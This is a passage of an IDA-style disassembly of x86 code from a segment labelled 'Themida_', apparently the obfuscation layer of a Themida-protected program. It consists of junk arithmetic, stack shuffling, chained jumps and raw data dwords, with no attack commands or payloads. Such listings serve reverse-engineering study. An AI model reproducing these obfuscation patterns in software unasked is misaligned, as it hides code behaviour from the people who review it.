		sub	bl, cl
		push	dword ptr [esp]
		jmp	loc_566EFB
; ---------------------------------------------------------------------------
		dw 0CB31h
		dd 0B7EE8159h, 130231Ah, 0B7C681DEh, 0FF30231Ah, 815B2434h
		dd 4C4h, 24343300h, 33243431h, 91E92434h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560DCB:				; CODE XREF: Themida_:00570A39j
		pop	edx
		add	edx, 4773128Ch
		shr	edx, 5
		shr	edx, 5
		sub	edx, 8772E0BEh
		jmp	loc_56B7CA
; ---------------------------------------------------------------------------


loc_560DE3:				; CODE XREF: Themida_:00561EEDj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5645E2
; ---------------------------------------------------------------------------


loc_560DF4:				; CODE XREF: Themida_:00567B3Dj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 3Eh
		shl	bl, 7
		not	bl
		xor	bl, 0BDh
		sub	bl, 0D3h
		add	cl, bl
		jmp	loc_56E1ED
; ---------------------------------------------------------------------------
		db 57h
		dd 6A58EABFh, 65CF8105h, 81117202h, 4ECh, 24148900h, 4E7A08BAh
		dd 6E2C12Eh, 0B1EA814Ah, 8347DB5Ah, 5542FFEAh, 825AE9h
		dd 0EBA5200h, 5051B542h, 0B8h, 9F18E900h, 0C8BE0000h, 0C15A5837h
		dd 0EEC105EEh, 0F0E95502h, 540000EFh, 56241C8Bh, 0C681E689h
		dd 4, 8704C683h, 515C2434h, 4B9h, 59CB0100h, 4BA52h, 0D3290000h
		dd 241C335Ah, 46E9E9h, 0D830AC00h, 248268h, 243C8900h
		dd 74B768h, 0D768E900h,	0C4830000h, 4D685A04h, 89000037h
		dd 38E92434h, 81000051h, 737D48C1h, 81E92943h, 737D48E9h
		dd 0C1815D43h, 0FFFFFFFFh, 0D1F7E1D1h, 0BA9DC181h, 8DE96937h
		dd 10000EEh, 0E81EE9EFh, 8B540000h, 8951242Ch, 4C181E1h
		dd 83000000h, 0C8704C1h, 0D012E924h, 0C2810000h, 2, 562268h
		dd 24148900h, 42474FFh,	5A2434FFh, 2A2268h, 24148900h
		dd 8904EC83h, 4832424h,	505A0424h, 0D33E3AB8h, 143F2D48h
		dd 0FF356C61h, 1DC7229h, 0A14AE9C2h, 0C2810000h, 4, 2474FF52h
		dd 48F5A04h, 0C4815C24h, 4, 0C5BA5253h,	0E93DF578h, 0AED6h
		dd 895E5D56h, 3BE95DEBh, 0B800013Bh, 7ABD0AE2h,	0E958C209h
		dd 6B6Eh
; ---------------------------------------------------------------------------


loc_560F70:				; CODE XREF: Themida_:00572DB1j
		mov	[esp], esi
		mov	esi, 4C573C49h
		shr	esi, 2
		shl	esi, 7
		sub	esp, 4
		mov	[esp], ebp
		push	0FFFFFFFFh
		pop	ebp
		sub	esi, ebp
		pop	ebp
		push	ecx
		push	23947B3Bh
		pop	ecx
		sub	ecx, 1
		and	ecx, 6C4406A9h
		push	edi
		mov	edi, 70121493h
		xor	ecx, edi
		pop	edi
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 705C3698h
		jmp	loc_56DDB7
; ---------------------------------------------------------------------------
		db 51h
		dd 931884B9h, 0E9CF217Dh, 1439Bh, 8704C283h, 248B2414h
		dd 0EBDAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560FDA:				; CODE XREF: Themida_:005727D9j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_560FE6:				; CODE XREF: Themida_:00572729j
		push	5E38h
		mov	[esp], ebx
		jmp	loc_561CB2
; ---------------------------------------------------------------------------


loc_560FF3:				; CODE XREF: Themida_:00561077j
		xor	eax, ecx
		jmp	loc_570C51
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 659E924h, 0BD0001h, 29000000h, 614568C5h, 4890000h
		dd 39E95524h, 6800013Dh, 4E69h,	89243C89h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 73E1E9h, 4BD5500h, 1000000h, 0C1815DE9h
		dd 4, 5374E9h
		db 0
; ---------------------------------------------------------------------------


loc_561049:				; CODE XREF: Themida_:0056187Bj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_572859
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0F6B7E987h, 0E389FFFFh, 1D82E9h
		db 0
; ---------------------------------------------------------------------------


loc_561065:				; CODE XREF: Themida_:0056593Bj
		mov	esi, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_560FF3
; ---------------------------------------------------------------------------


loc_56107C:				; CODE XREF: Themida_:0057571Aj
		mov	[esp], eax
		push	eax
		jmp	loc_573F73
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0FFh
		dd 46FFFFFFh, 68B3E681h, 0E950741Fh, 12197h, 78B3B951h
		dd 0F1816F35h, 48A964BFh, 0F031E9h, 24048B00h, 1131CE9h
		dd 2434FF00h, 582434FFh, 4C481h, 89530000h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 440FE9h, 241C8900h,	85E9E7B3h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5610DF:				; CODE XREF: Themida_:005616D9j
		mov	esp, [esp]
		mov	[esp], ebx
		push	45CF30FDh
		pop	ebx
		sub	ebx, 610D18B3h
		shr	ebx, 5
		push	esi
		push	ebp
		jmp	loc_56D33F
; ---------------------------------------------------------------------------
		db 66h
		dd 0D51CE981h, 2E6BE9h,	24348B00h, 0E904C483h, 10590h
		dd 4240481h, 0E9000000h, 601Ah
; ---------------------------------------------------------------------------


loc_56111C:				; CODE XREF: Themida_:00562F9Fj
		push	ecx
		mov	ch, 59h
		mov	dl, 0Fh
		add	dl, ch
		jmp	loc_566AFF
; ---------------------------------------------------------------------------
aLZ4LI4LSs	db '‹$$‡4$‹$$‰4$‹<$é˜Ü',0
		align 4


loc_56113C:				; CODE XREF: Themida_:005664B6j
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56CCF9
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 7F12381Bh, 4245401h,	0ED815D5Ah, 7F12381Bh, 0E9241C8Bh
		dd 0FEA9h, 4B8h, 6BEF8100h, 0E95AF544h,	3180h, 36200566h
		dd 5FBB0566h, 6C070566h, 66D82966h, 666C072Dh, 665FBB2Dh
		dd 66287568h, 66242C89h, 20BA6652h, 0D5896636h,	24148B66h
		dd 127FCE9h, 9C4CBF00h,	0D701979Fh, 48F3E95Ah, 4890000h
		dd 3CC1B824h, 0A2E93F93h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5611BF:				; CODE XREF: Themida_:00573301j
		or	eax, 42BC349Ah
		sub	eax, 0E6557EDCh
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56DAB3
; ---------------------------------------------------------------------------


loc_5611D6:				; CODE XREF: Themida_:00562179j
		xor	esi, [esp]
		jmp	loc_56430B
; ---------------------------------------------------------------------------


loc_5611DE:				; CODE XREF: Themida_:0056EA93j
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_564417
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 28BF4E5Ah, 1ED7B850h, 0C5314AABh, 0CCC58158h, 0E9130122h
		dd 10B5Bh, 8B240487h, 64682424h, 89000043h, 0BF66243Ch
		dd 5D6854D9h, 89000067h, 0FAE92404h, 300000D7h,	0AFE92414h
		dd 68000101h, 3D6Ch, 0E9242C89h, 0FFFFFCA2h, 5B4DB0BAh
		dd 5AD10917h, 25E9h, 0FF5A5900h, 0C8B2434h, 3460E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561256:				; CODE XREF: Themida_:00572D6Ej
		shr	ebx, 3
		xor	ebx, 591F648Bh
		xor	eax, ebx
		jmp	loc_565CF6
; ---------------------------------------------------------------------------
		dw 5Bh
		dd 0EBD6E9F0h, 0D1F70000h, 5603E9C1h, 81A3E2BEh, 0FBE9810Ah
		dd 29438E2Ah, 2780E9F1h, 0BB530001h, 4,	875BDD01h, 248B242Ch
		dd 4EC8124h, 0E9000000h, 9DD3h,	3A0A95BDh, 92A4E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5612AA:				; CODE XREF: Themida_:00570BB2j
		mov	edi, 0BD1D5300h
		jmp	loc_562C0A
; ---------------------------------------------------------------------------
		dd 0E6ED81h, 0ED8100D6h, 36E728D9h, 242C335Bh, 33242C31h
		dd 0D35C242Ch, 0E99C240Ch, 0FFFFF441h
; ---------------------------------------------------------------------------


loc_5612D4:				; CODE XREF: Themida_:0056CD0Bj
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 4875EF0h, 0DB01E924h, 0DDBB0000h, 93B801Fh
		dd 881BE9DFh, 0EF810000h, 2E8D5521h, 243C8758h,	8324248Bh
		dd 0C8904ECh, 4EC8124h,	89000000h, 49E9243Ch, 5A000095h
		dd 3304C583h, 0FCE9242Ch, 680000B4h, 5799h, 89240489h
		dd 405E0h, 0E8830000h, 24048704h, 6522E9h, 56595D00h, 0E54F7FBEh
		dd 5CE4E97Ch, 0E8890000h, 117A4E9h, 29126800h, 0C890000h
		dd 24348124h, 2C3C195Fh, 0E924148Bh, 0FFFFF614h, 0E904EC83h
		dd 0FFFFF955h
; ---------------------------------------------------------------------------


loc_561370:				; CODE XREF: Themida_:005736A8j
		push	edi
		jmp	loc_563661
; ---------------------------------------------------------------------------


loc_561376:				; CODE XREF: Themida_:005649F1j
		mov	edx, esp
		jmp	loc_56737D
; ---------------------------------------------------------------------------


loc_56137D:				; CODE XREF: Themida_:0056774Ej
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_56E3B5
; ---------------------------------------------------------------------------


loc_56138F:				; CODE XREF: Themida_:005706C7j
		push	edi
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_574427
; ---------------------------------------------------------------------------
		dd 0CEE9E589h, 2C00012Ah, 2434FF9Dh, 0E92434FFh, 3A86h
		dd 0E9242C8Bh, 67EAh, 4BFh, 247C0100h, 0AEE95F04h, 8B0000EEh
		dd 89532424h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 243C895Ch
		dd 0C21CE9h, 35E95100h,	81000043h, 4C3h, 42556800h, 4890000h
		dd 4B824h, 0C3010000h, 241C8758h, 5324248Bh, 2BF0F3BBh
		dd 4B5E6840h, 2C890000h, 2985BD24h, 0BE563DE9h,	8ED136Dh
		dd 0F707E6C1h, 0CE814ED6h, 16DE14DBh, 3F2AEE81h, 0F529986Dh
		dd 4097685Eh, 3C890000h, 4EC8324h, 68242C89h, 67352EBh
		dd 3E5C15Dh, 3733E9h, 0F7D98700h, 0E9D987D3h, 0FBC1h, 56A5E981h
		dd 0BF5797A6h, 13E9786Dh, 15FF829h, 786D05C8h, 5F5913E9h
		dd 7D3CBD55h, 0C58139C9h, 290030D1h, 0C05AE94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56149A:				; CODE XREF: Themida_:00560CC0j
		mov	edx, 46D6240Ch
		sub	esi, 2AF87891h
		sub	esi, edx
		add	esi, 2AF87891h
		jmp	loc_571979
; ---------------------------------------------------------------------------
		dw 525Ch
		dd 0C281E289h, 4, 8704C283h, 248B2414h,	0ECE95624h, 5A000140h
		dd 5EF0015Bh, 0B48BE9h,	0E9C68900h, 10D79h, 48BC129h, 4C48324h
		dd 640CE981h, 2C8B5BBDh, 9DCDE924h, 895C0000h, 40B9240Ch
		dd 0F709ED3Ch, 0D1F749D9h, 2526C181h, 0E1813DD6h, 44A63E5Dh
		dd 0DFBEC181h, 0EB81BB7Dh, 5FF045EEh, 0C381CB01h, 5FF045EEh
		dd 241C8759h, 2424D35Ch, 37B2E99Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_56152E:				; CODE XREF: Themida_:00572C1Aj
		pop	ebx
		jmp	loc_5666C0
; ---------------------------------------------------------------------------
aSX		db '[é¿•',0
		align 2
		dw 0DAB8h
		dd 0D10D506h, 9EC7D4Ch,	573D0540h, 0E0D11CECh, 22A35D05h
		dd 58C301FEh, 0EB81F329h, 6BF65195h, 65EB815Eh,	0E906782Dh
		dd 734Ah, 20E0B951h, 49412230h,	0E957D1F7h, 0BA46h, 2404FF66h
		dd 0CB5DE99Ch, 0E94D0000h, 0AA55h, 4B951h, 0CE010000h
		dd 209DE959h, 34FF0000h, 2981E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56159E:				; CODE XREF: Themida_:00575BE1j
		add	edx, ecx
		jmp	loc_564109
; ---------------------------------------------------------------------------
aRsO		db 'Ré}Ž',0
		dw 0BB00h
		dd 4, 875BDE01h, 248B2434h, 24048F24h, 58D3E95Ch, 88500000h
		dd 58C288E8h, 148BD088h, 4C48124h, 0FF000000h, 81592434h
		dd 4C4h, 58C38800h, 88DC8850h, 34FF58E1h, 241C8B24h, 4C481h
		dd 0EAE90000h
		db 0D9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5615F7:				; CODE XREF: Themida_:0056A3C0j
		pop	ebx
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		jmp	loc_56C460
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 6701E904h, 14330000h, 9D40E924h,	4890000h
		dd 0F0EFE924h, 295DFFFFh, 9AE951E8h, 81000066h,	4C4h, 24773300h
		dd 81E78957h, 4C7h, 4EF8100h, 0E9000000h, 143D0h, 0E9243489h
		dd 0FFFFF7FAh, 5056E589h, 5065CBB8h, 9A39BE25h,	2AE9DAAFh
		dd 6600014Ah, 1E2C59h, 0AE952F8h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561673:				; CODE XREF: Themida_:005608B8j
		add	ebx, 393225A8h
		jmp	loc_565C64
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 40F106A1h, 6683C181h, 0E1817FD8h, 0B8F40EDh,	70CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_561695:				; CODE XREF: Themida_:0056D9EAj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_575265
; ---------------------------------------------------------------------------


loc_5616BB:				; CODE XREF: Themida_:00562A3Ej
		xor	edx, [esp]
		jmp	loc_5675FB
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954240Ch, 935Ch, 0E86192BEh, 0B570E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5616D6:				; CODE XREF: Themida_:005643BCj
		xor	edx, [esp]
		jmp	loc_5610DF
; ---------------------------------------------------------------------------


loc_5616DE:				; CODE XREF: Themida_:00563BB2j
		xor	eax, 3276557Ah
		xor	eax, 60D7430Ch
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		shl	edx, 7
		add	edx, 51E85FBAh
		dec	edx
		push	ebp
		push	edx
		push	267A060Bh
		jmp	loc_564BAF
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4ECh, 243C8900h, 4BFh, 0E9FA2900h, 10321h
; ---------------------------------------------------------------------------


loc_56171C:				; CODE XREF: Themida_:0056DE00j
		add	ebp, 7EC063A0h
		jmp	loc_574C49
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0BEBDEDD5h, 8158C131h, 0A47B2DC2h, 81CA0173h, 0A47B2DEAh
		dd 240C8B73h, 4C481h, 0FAE90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56174B:				; CODE XREF: Themida_:0056878Ej
		push	5756h
		mov	[esp], ecx
		push	ebp
		push	ecx
		mov	ecx, 6E035F77h
		jmp	loc_56EC3F
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 42474FFh, 24048F5Bh, 6624248Bh, 0E9240489h
		dd 0FFFFEF99h
; ---------------------------------------------------------------------------


loc_56177C:				; CODE XREF: Themida_:0056C368j
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5649F0
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5724048Bh, 0C7815F54h, 4, 0FD39E9h, 6800h, 31E90000h
		dd 31000097h, 15E9241Ch, 8B0000CAh, 0C6E92424h,	290000FFh
		dd 8E95EF0h, 89000046h,	24348BF7h, 4C481h, 0C7810000h
		dd 19014811h, 0F781D7F7h, 1B592036h, 5B91C781h,	0F7816C66h
		dd 7555F62h, 0E95FFE31h, 0A983h
; ---------------------------------------------------------------------------


loc_5617F0:				; CODE XREF: Themida_:0056762Dj
		xor	ebx, edi
		jmp	loc_56D936
; ---------------------------------------------------------------------------
		db 5Ch
		dd 83240489h, 348904ECh, 24048B24h, 745368h, 24348900h
		dd 0C681E689h, 4, 1124FE9h, 22F7B900h, 0C181F903h, 2D0A461Bh
		dd 69E7E9h, 52575A00h, 0D789DA89h, 11036E9h, 81CD0100h
		dd 7DC5EDh, 0C581592Eh,	50D50314h, 0D8E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_561849:				; CODE XREF: Themida_:00569431j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 59077C42h
		push	0A06h
		mov	[esp], ecx
		mov	ecx, 6AF7C22h
		inc	ecx
		shr	ecx, 1
		jmp	loc_569A75
; ---------------------------------------------------------------------------


loc_56186A:				; CODE XREF: Themida_:00571A6Bj
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		xchg	ebp, esi
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ebx
		jmp	loc_561049
; ---------------------------------------------------------------------------
		dd 52A1BD55h, 0E8295478h, 10AF2E9h, 9BED8100h, 0E9FBE6E4h
		dd 0A9E4h
; ---------------------------------------------------------------------------


loc_561898:				; CODE XREF: Themida_:00575F97j
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 58451BC0h
		add	ebx, 1
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xor	ebx, 0A7BAE43Ah
		jmp	loc_56E37F
; ---------------------------------------------------------------------------


loc_5618CD:				; CODE XREF: Themida_:00574724j
		add	bh, 7Eh
		jmp	loc_574C25
; ---------------------------------------------------------------------------


loc_5618D5:				; CODE XREF: Themida_:00568E1Dj
		or	ch, 0Ch
		xor	ch, 56h
		add	ch, 7Ah
		sub	bh, ch
		pop	ecx
		or	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		push	61B3h
		mov	[esp], ebx
		mov	bl, 0C8h
		jmp	loc_56ABAA
; ---------------------------------------------------------------------------
aYsa		db 'Yé ×',0
		dd 17F68000h, 170AE9h, 4EAC100h, 0EAC1DAF7h, 5CF28107h
		dd 29F0707Eh, 0B8E95AD5h, 680000C3h, 5230h, 88241489h
		dd 8BF188C6h, 0C4832414h, 2434FF04h, 11483E9h
		db 0
; ---------------------------------------------------------------------------


loc_561939:				; CODE XREF: Themida_:0057332Cj
		push	4860h
		mov	[esp], ebx
		mov	ebx, 1
		or	[edi+1Ch], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	7E80h
		jmp	loc_565AF7
; ---------------------------------------------------------------------------
		db 68h,	2Bh, 7Dh
		dd 1C8B77B7h, 2CCFE924h, 0EB810000h, 4,	5C241C87h, 24048F54h
		dd 4240481h, 0E9000000h, 0FB3h
; ---------------------------------------------------------------------------


loc_561984:				; CODE XREF: Themida_:00568479j
		sub	ecx, ebx
		pop	ebx
		jmp	loc_56981E
; ---------------------------------------------------------------------------
		dd 8BCA015Eh, 0C483240Ch, 0E9D18904h, 0E372h, 4247401h
		dd 0FFDFE95Eh, 895D0000h, 0E7C15AD7h, 51F78106h, 0E9067D7Dh
		dd 649h, 0C581E589h, 4,	8704C583h, 815C242Ch, 4ECh, 241C8900h
		dd 28BBh, 2968E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5619DA:				; CODE XREF: Themida_:00569819j
		sub	edi, 8B7F48h
		pop	ecx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		push	ecx
		push	edi
		push	28ED0912h
		pop	edi
		sub	edi, 6B4A4C4Fh
		add	edi, 86E4BFFh
		jmp	loc_56E340
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 139C9h, 689AF581h, 0E92997B6h, 0F4D5E9h, 242C8900h
		dd 0A4575FBDh, 0C581457Bh, 845BA8A4h, 835DE901h, 0C5E904E9h
		dd 5F000039h, 0E9243C8Bh, 6912h, 0EFC1DFF7h, 6BCF8107h
		dd 562F0A75h, 0A983E9h,	35E0D100h, 14A963C9h, 3503E8C1h
		dd 609A0B62h, 959BE952h, 0E9550000h, 718h
; ---------------------------------------------------------------------------


loc_561A74:				; CODE XREF: Themida_:005653B0j
		mov	eax, 67B72CE4h
		add	eax, 61207584h
		inc	eax
		shl	eax, 2
		jmp	loc_5732FE
; ---------------------------------------------------------------------------
		db 52h
		dd 118F0E9h, 0CF815F00h, 1552149Eh, 12A10E9h, 36E95F00h
		dd 58FFFFF1h, 4C481h, 7B350000h, 52490622h, 4C1ABE56h
		dd 97E965A5h, 10000B6h,	6DBB53D9h, 149D91Bh, 3AE95BD9h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561AC7:				; CODE XREF: Themida_:005689CFj
		mov	esp, [esp]
		push	edx
		push	ebx
		mov	ebx, 0AF81D3Ch
		jmp	loc_5693D9
; ---------------------------------------------------------------------------
		dw 814Eh
		dd 2305E2C6h, 0C4A7E92Bh, 3EBF0000h, 8172B822h,	873D52EFh
		dd 0A2E94774h, 66000004h, 5324048Bh, 0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 0F168242Ch, 8900000Ah, 0BD552424h, 4, 4246C01h
		dd 242C8B5Dh, 4EC81h, 1C890000h, 34FF5424h, 89515B24h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0C9DEE924h, 0EA810000h
		dd 4, 5C241487h, 0B9240C89h, 4,	8759CF29h, 248B243Ch, 24148924h
		dd 119968h, 24248900h, 1194FE9h, 7E9C100h, 1146F181h, 0CB290133h
		dd 370FE9h, 241C8B00h, 0EDC0E950h, 148BFFFFh, 0A9D0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B8E:				; CODE XREF: Themida_:00572AD8j
		jmp	loc_560715
; ---------------------------------------------------------------------------


loc_561B93:				; CODE XREF: Themida_:0056AE64j
		push	4583h
		push	esp
		pop	dword ptr [esp]
		push	edx
		jmp	loc_561FEC
; ---------------------------------------------------------------------------


loc_561BA2:				; CODE XREF: Themida_:0056A564j
		pop	ebx
		or	ecx, esi
		pop	esi
		add	ecx, 0A810BB07h
		jmp	loc_56405B
; ---------------------------------------------------------------------------


loc_561BB1:				; CODE XREF: Themida_:0056F64Aj
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_566106
; ---------------------------------------------------------------------------
		dd 4A685256h, 8B20EE7Ch, 0C4812414h, 4,	40F4E950h, 0E6C10001h
		dd 0EBF68103h, 89E6CAF6h, 24348BF5h, 5704C483h,	4751F4BFh
		dd 9348E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561BF2:				; CODE XREF: Themida_:00562687j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_56DF40
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 6
		dd 145EA81h, 0C9E93C23h, 8700008Eh, 248B242Ch, 2C6A6824h
		dd 0FE90000h, 53000080h, 0C9E957B3h, 0B000002Fh, 52322C07h
		dd 0C281E289h, 4, 6FF1E9h, 112C0500h, 0D0297C48h, 48112C2Dh
		dd 2434FF7Ch, 4C4835Ah,	2027862Dh, 56D0294Ah, 645A5EBEh
		dd 1BACE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561C5E:				; CODE XREF: Themida_:0056F62Bj
		mov	ebx, [esp]
		add	esp, 4
		inc	ebx
		jmp	loc_572C82
; ---------------------------------------------------------------------------


loc_561C6D:				; CODE XREF: Themida_:0056A467j
		sub	eax, 8C6303B3h
		mov	edi, eax
		pop	eax
		sub	edi, 1DFC5FDAh
		sub	esi, edi
		pop	edi
		jmp	loc_5716A8
; ---------------------------------------------------------------------------
		db 89h
		dd 6CBE2434h, 810E0831h, 6F142EC6h, 81DEF71Fh, 0F9049CCEh
		dd 0D6F74E7Ah, 40FEEE81h, 0A0E90506h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561CA7:				; CODE XREF: Themida_:00572633j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5691B0
; ---------------------------------------------------------------------------


loc_561CB2:				; CODE XREF: Themida_:00560FEEj
		push	206Bh
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_56E7A0
; ---------------------------------------------------------------------------
		db 21h
		dd 0EFC159CFh, 0E8C78106h, 295A4BEAh, 57E95FF8h, 340000CCh
		dd 0E9A204C5h, 105BDh, 240C8B66h, 4EC81h, 34890000h, 9B55E924h
		dd 0F5290000h, 8124348Bh, 4C4h,	2CD8E900h, 0E1C10000h
		dd 0D0E95503h, 81000008h, 440DEFE7h, 0DFF74F3Fh, 0DE14F781h
		dd 0E0E9FE07h, 8100003Ch, 0FFFFFFC3h, 35BE56FFh, 217AAD1Ch
		dd 45E95EF3h, 0C1000082h, 0D0F702E0h, 52E7342Dh, 8BC72991h
		dd 0C4832404h, 1D5A2D04h, 0FB2D2FA7h, 0E94F2B0Bh, 0AA4Ah
; ---------------------------------------------------------------------------


loc_561D58:				; CODE XREF: Themida_:00575484j
		add	ebx, edx
		sub	ebx, 35AD1561h
		jmp	loc_56D163
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 63h
		dd 8131A326h, 0A36EB7F1h, 0E9C8295Dh, 31F6h, 0D43725B8h
		dd 0FC28BF0Bh, 0C7011D93h, 0E9F83158h, 0B07Fh
; ---------------------------------------------------------------------------


loc_561D8C:				; CODE XREF: Themida_:00564CCBj
		mov	ecx, 0F51352Bh
		or	ecx, 2CF1757Eh
		neg	ecx
		inc	ecx
		xor	ecx, 91AEE1EFh
		sub	esi, ecx
		pop	ecx
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_569421
; ---------------------------------------------------------------------------
aXws_		db 'XWé.¶',0
		db 0
; ---------------------------------------------------------------------------


loc_561DDB:				; CODE XREF: Themida_:0056D4C0j
		add	eax, 4
		jmp	loc_567B3A
; ---------------------------------------------------------------------------


loc_561DE5:				; CODE XREF: Themida_:0056C890j
		add	esp, 4
		push	3E97h
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_56D3DD
; ---------------------------------------------------------------------------
		dd 3A7FEA81h, 0ABE93945h, 55000060h, 2F7DE9BDh,	5DEA0133h
		dd 875AD729h, 665C243Ch, 68240C89h, 5106h, 0E9240489h
		dd 0E2C1h, 6824048Fh, 22B2h, 0A6E4E9h, 0ECE95500h, 810000DAh
		dd 0F0024FC7h, 81CF0120h, 0F0024FEFh, 0F078E920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E52:				; CODE XREF: Themida_:0056F8E9j
		pop	esp
		mov	[esp], edi
		jmp	loc_56A836
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 125Fh, 0E9240C89h, 0AB4Eh, 6C9CC781h, 0FD0143F4h
		dd 4ED815Fh, 33000000h,	2C31242Ch, 242C3324h, 240C895Ch
		dd 0BA52E189h, 4, 92E2E9h, 0C0EB8000h, 3DB05066h, 8B66C300h
		dd 10E92404h, 81000110h, 2B7BC6E9h, 11B85011h, 157D688h
		dd 3323E9C1h
		db 1, 0
; ---------------------------------------------------------------------------


loc_561EBA:				; CODE XREF: Themida_:0056DAB5j
		sub	ebp, 9FF7D91Eh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_571616
; ---------------------------------------------------------------------------
		dd 4247401h, 243C8B5Eh,	0E904C483h, 433Ah
; ---------------------------------------------------------------------------


loc_561EE0:				; CODE XREF: Themida_:00572972j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_560DE3
; ---------------------------------------------------------------------------
		dw 158h
		dd 2178E9CAh, 0D8000001h, 515B292Ch, 2231E9h, 8BF80100h
		dd 5451243Ch, 83240C8Bh, 0C18104C4h, 4,	0E178E9h, 4C48100h
		dd 81000000h, 4226C5C3h, 0B8504B4Bh, 36B365DEh,	5B98E9h
		dd 5DEF2900h, 0CA3BE9h
		db 0
; ---------------------------------------------------------------------------


loc_561F3D:				; CODE XREF: Themida_:005682A9j
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, 24h
		push	6D6Ah
